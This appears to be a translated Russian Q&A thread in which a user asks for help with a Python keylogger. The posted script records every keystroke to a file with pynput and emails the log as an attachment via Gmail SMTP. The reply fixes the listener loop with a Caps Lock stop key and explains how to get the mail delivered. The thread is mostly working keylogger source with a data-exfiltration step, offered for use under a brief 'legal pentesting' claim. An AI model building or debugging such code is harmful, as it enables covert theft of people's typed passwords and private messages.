Как заставить Python отправлять письма автоматически - PullRequest
0 голосов
/ 05 ноября 2018

Я пытаюсь сделать простой кейлоггер на python (для легального тестирования на проникновение), и у меня возникают проблемы с получением сценария для автоматической отправки мне электронного письма.

если я добавлю код электронной почты после моего кейлоггера, он не отправит мне текстовый файл, я думаю, это из-за того, что скрипт кейлоггера постоянно повторяется и не подтверждает мой почтовый скрипт, как я могу это исправить?

вот скрипт:

    from pynput.keyboard import Key, Listener
import smtplib
import logging
import smtplib

log_dir = ""

logging.basicConfig(filename=(log_dir + "yourtext.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

email_user = 'EMAIL'
email_password = 'PASSWORD'
email_send = 'EMAIL'

subject = 'logger'

msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject

body = 'your text'
msg.attach(MIMEText(body,'plain'))

filename='yourtext.txt'
attachment  =open(filename,'rb')

part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)

msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login('EMAIL','PASSWORD')


server.sendmail(email_user,email_send,text)
server.quit() 

1 Ответ

0 голосов
/ 05 ноября 2018

Итак, во-первых, вы не добавляли перерыв при запуске вызова слушателя, поэтому ваша программа застревает в этом цикле и не имеет критериев для выхода.

Попробуйте добавить точку останова в коде ниже

with Listener(on_press=on_press) as listener:
listener.join()

Вы можете добавить определенный символ в качестве точки останова или определенные строки в качестве точки останова.

Попытка использования Gmail API, если ваш код отправки почты не работает. Документы Gmail API

Измените ваш файл в соответствии с кодом ниже:

def on_press(key):
    logging.info(str(key))

def on_release(key):
    logging.info('{0} release'.format(key))
    if key == Key.caps_lock:
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

Вы можете найти больше информации, относящейся к вышеуказанному коду здесь

Если вы не можете получать почту, это может быть связано с тем, что вы не включили POP / IMAP. Выполните следующие шаги:

  1. Войдите в свой аккаунт Gmail
  2. Перейдите в настройки и нажмите «Пересылка» и «POP / IMAP».
  3. Включить IMAP в секции доступа IMAP.
...